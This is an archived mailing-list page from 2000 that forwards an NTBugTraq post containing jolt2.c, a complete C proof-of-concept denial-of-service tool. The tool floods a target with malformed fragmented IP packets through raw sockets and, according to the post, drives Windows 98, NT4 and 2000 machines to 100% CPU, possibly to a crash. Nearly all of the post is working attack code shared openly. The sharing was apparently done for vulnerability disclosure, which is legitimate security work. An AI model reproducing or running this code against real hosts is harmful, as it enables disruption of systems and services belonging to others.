[LINUX:15887] [Windows DoS code (jolt2.c)]

---------

New Message Reply About this list Date view Thread view Subject view Author view

From: Andreas Mueller (amu@tr.debian.net)
Date: Fri 26 May 2000 - 17:17:14 EEST


----- Forwarded message from Laurent LEVIER <llevier@ARGOSNET.COM> -----

Cheers

Coming from NTBugTraq mailing list

Laurent LEVIER
IT Systems & Networks, Unix System Engineer
Security Specialist

Argosnet Security Server : http://www.Argosnet.com
"Le Veilleur Technologique", "The Technology Watcher"

Argosnet II is in progress, opening summer 2000

>This is code for the new DoS discovered by Razor a few days ago. It
>forces cpu utilization to 100%, making everything move really really
>slow. Tested against Win98, WinNT4/sp5,6, Win2K.
>
>An interesting side note is that minor changes to this packet cause
>NT4/Win2k (maybe others, not tested) memory use to jump
>*substantially* (+70 meg non-paged-pool on a machine with 196 mb
>phys). There seems to be a hard upper limit, but on machines with smaller
>amounts of memory or smaller swapfiles, ramping up the non-paged-pool this
>much might lead to a BSOD.
>
>.phonix.
>
>
>
>
>/*
> * File: jolt2.c
> * Author: Phonix <phonix@moocow.org>
> * Date: 23-May-00
> *
> * Description: This is the proof-of-concept code for the
> * Windows denial-of-serice attack described by
> * the Razor team (NTBugtraq, 19-May-00)
> * (MS00-029). This code causes cpu utilization
> * to go to 100%.
> *
> * Tested against: Win98; NT4/SP5,6; Win2K
> *
> * Written for: My Linux box. YMMV. Deal with it.
> *
> * Thanks: This is standard code. Ripped from lots of places.
> * Insert your name here if you think you wrote some of
> * it. It's a trivial exploit, so I won't take credit
> * for anything except putting this file together.
> */
>
>#include <stdio.h>
>#include <string.h>
>#include <netdb.h>
>#include <sys/socket.h>
>#include <sys/types.h>
>#include <netinet/in.h>
>#include <netinet/ip.h>
>#include <netinet/ip_icmp.h>
>#include <netinet/udp.h>
>#include <arpa/inet.h>
>#include <getopt.h>
>
>struct _pkt
>{
> struct iphdr ip;
> union {
> struct icmphdr icmp;
> struct udphdr udp;
> } proto;
> char data;
>} pkt;
>
>int icmplen = sizeof(struct icmphdr),
> udplen = sizeof(struct udphdr),
> iplen = sizeof(struct iphdr),
> spf_sck;
>
>void usage(char *pname)
>{
> fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n",
> pname);
> fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
> exit(0);
>}
>
>u_long host_to_ip(char *host_name)
>{
> static u_long ip_bytes;
> struct hostent *res;
>
> res = gethostbyname(host_name);
> if (res == NULL)
> return (0);
> memcpy(&ip_bytes, res->h_addr, res->h_length);
> return (ip_bytes);
>}
>
>void quit(char *reason)
>{
> perror(reason);
> close(spf_sck);
> exit(-1);
>}
>
>int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
>{
> int bs, psize;
> unsigned long x;
> struct sockaddr_in to;
>
> to.sin_family = AF_INET;
> to.sin_port = 1235;
> to.sin_addr.s_addr = dst_addr;
>
> if (port)
> psize = iplen + udplen + 1;
> else
> psize = iplen + icmplen + 1;
> memset(&pkt, 0, psize);
>
> pkt.ip.version = 4;
> pkt.ip.ihl = 5;
> pkt.ip.tot_len = htons(iplen + icmplen) + 40;
> pkt.ip.id = htons(0x455);
> pkt.ip.ttl = 255;
> pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
> pkt.ip.saddr = src_addr;
> pkt.ip.daddr = dst_addr;
> pkt.ip.frag_off = htons (8190);
>
> if (port)
> {
> pkt.proto.udp.source = htons(port|1235);
> pkt.proto.udp.dest = htons(port);
> pkt.proto.udp.len = htons(9);
> pkt.data = 'a';
> } else {
> pkt.proto.icmp.type = ICMP_ECHO;
> pkt.proto.icmp.code = 0;
> pkt.proto.icmp.checksum = 0;
> }
>
> while (1) {
> bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
> sizeof(struct sockaddr));
> }
> return bs;
>}
>
>int main(int argc, char *argv[])
>{
> u_long src_addr, dst_addr;
> int i, bs=1, port=0;
> char hostname[32];
>
> if (argc < 2)
> usage (argv[0]);
>
> gethostname (hostname, 32);
> src_addr = host_to_ip(hostname);
>
> while ((i = getopt (argc, argv, "s:p:h")) != EOF)
> {
> switch (i)
> {
> case 's':
> dst_addr = host_to_ip(optarg);
> if (!dst_addr)
> quit("Bad source address given.");
> break;
>
> case 'p':
> port = atoi(optarg);
> if ((port <=0) || (port > 65535))
> quit ("Invalid port number given.");
> break;
>
> case 'h':
> default:
> usage (argv[0]);
> }
> }
>
> dst_addr = host_to_ip(argv[argc-1]);
> if (!dst_addr)
> quit("Bad destination address given.");
>
> spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
> if (!spf_sck)
> quit("socket()");
> if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
> sizeof(bs)) < 0)
> quit("IP_HDRINCL");
>
> do_frags (spf_sck, src_addr, dst_addr, port);
>}

-- 

---------------------------------------------------------------------- Public-gpg-Key: http://tr.debian.net/amu/amu.key

Listeden cikmak icin: unsub linux mesajini listeci@bilkent.edu.tr'a gonderiniz. Lutfen Listeci icin MIME / HTML / Turkce Aksan kullanmayin. Liste arsivinin adresi: http://listweb.bilkent.edu.tr/


New Message Reply About this list Date view Thread view Subject view Author view

---------

Bu arsiv hypermail 2b29 tarafindan uretilmistir.